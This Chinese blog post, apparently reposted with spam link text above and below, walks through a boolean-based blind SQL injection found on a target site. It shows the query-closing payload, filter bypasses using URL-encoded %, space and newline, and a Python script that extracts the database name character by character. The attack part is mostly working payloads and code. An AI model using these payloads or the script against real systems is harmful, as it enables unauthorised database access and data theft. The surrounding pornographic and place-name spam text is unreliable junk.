亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何進行布爾型盲注的PY交易分析

發布時間:2021-12-04 10:03:36 來源:億速云 閱讀:141 作者:柒染 欄目:網絡管理

今天就跟大家聊聊有關如何進行布爾型盲注的PY交易分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結了以下內容,希望大家根據這篇文章可以有所收獲。

經過上一篇的良好反饋,我正好在項目中發現了這個布爾型漏洞,就編寫了本篇文章,主體格式一樣,但內容針對不同,下次看看在弄個什么的PY交易好,讓我再想想。

確定問題點

在這次的測試過程中發現了一個注入點,通過測試發現返回包內包含了sql語句,確認可以注入,開始了這次的注入嘗試。

首先我們可以確認這是一個GET型數據調用,本以為是簡單的報錯注入,應該可以直接利用sqlmap進行漏洞的利用,但現實狠狠的給了我一個耳光。sqlmap根本法利用這個漏洞,但返回的數據包中實打實出現我數據庫語句,所以我把返回的數據庫語句拿出來,開始了一點點的構造進程。

如何進行布爾型盲注的PY交易分析

復制出來的數據庫語句:

SELECT count(0) FROM customer c WHERE c.dealership_id = ? AND c.active = true AND (c.full_name LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%' OR c.phone_number LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%' OR c.phone_number_sub1 LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%' OR c.phone_number_sub2 LIKE '%1%') AND 1 IN (1, 2) AND (c.full_name LIKE '%test%')

二、測試命令語句

經過實驗,發現報錯內容不同,可說明與參數確實可以影響數據庫語句。但返回的內容需要進行閉合而且返回內容不可以利用,所以可以排除報錯等類型注入形式,可以探測的注入類型就僅剩下兩種了:時間型盲注,布爾型盲注直接在目標后加入測試語句。

構造數據庫語句:

%'){測試語句}AND(c. full_name like '%test

返回成功,實現語句閉合(此外利用了數據庫模糊查詢like %%),在測試過種發現存在過濾,單獨%無法通過,空格無法通過,系統會返回404,針對之前爆出的數據庫語句,利用%25和%20繞過對對單獨%和空格的過濾構造出以上的數據庫語句完成語句的閉合,成功返回200,確認可以返回正常數據包,并可以根據數據庫語句的正確來進行布爾型盲注測試。

如何進行布爾型盲注的PY交易分析

接下來確認測試語句

27)and%0a(ascii(substr(database(),{1},1))={0})%0aAND(c.full_name%0alike%0a%27%25test

按位截取的形式進行匹配,確認數據庫名稱

三、工具思路

3.1 Post數據包利用

利用python的數據包發送來批量測試目標內容

和時間型盲注不同,布爾型盲注要根據返回數據包的不同來確認問題

%0a(ascii(substr(database(),{1},1))={0})%0a

利用find函數來查找返回的數據特征,判斷是否成功得到注入數據

# coding:utf-8
import requests
import datetime
import time

headers = {
    頭信息,自己添加
}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789@_.' 
database = ''
for j in range(1,11):
    for i in range(49,125):
        Url = 'https://xxxxxxxxxxxxxxxxxxxxxxxxxxxxx/find?pageNo=1&pageSize=20&searchWord=1%25%27)and%0a(ascii(substr(database(),{1},1))={0})%0aAND(c.full_name%0alike%0a%27%25test'
        UrlFormat = Url.format(i,j)      #format()函數使用
        r = requests.get(UrlFormat,headers=headers)
        d = r.content.find("Test")       #利用find函數來查找返回的數據特征,判斷是否成功得到注入數據
        if d != -1:
            print(i)
            print chr(i)
            database += chr(i)
            print database
            break
        else:
            pass

四、以后的想法

對于代碼的未來,有如下的想法

1.加入數據包直接調用的功能

2.針對0值永真的修改

3.進行線程上的優化

4.編寫GET方法的代碼

5.進行整體代碼的邏輯重構(這個是吹NB)

看完上述內容,你們對如何進行布爾型盲注的PY交易分析有進一步的了解嗎?如果還想了解更多知識或者相關內容,請關注億速云行業資訊頻道,感謝大家的支持。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

py
AI

象山县| 望城县| 大荔县| 图们市| 嘉禾县| 芜湖县| 保德县| 疏附县| 临泉县| 前郭尔| 建阳市| 岑巩县| 朝阳县| 邳州市| 巫溪县| 吴桥县| 灵宝市| 海口市| 龙胜| 鄂温| 湘西| 综艺| 佛学| 阿巴嘎旗| 钦州市| 三台县| 凭祥市| 邹城市| 石门县| 庄河市| 锡林郭勒盟| 沧州市| 错那县| 项城市| 东海县| 马公市| 新安县| 西畴县| 蚌埠市| 志丹县| 读书|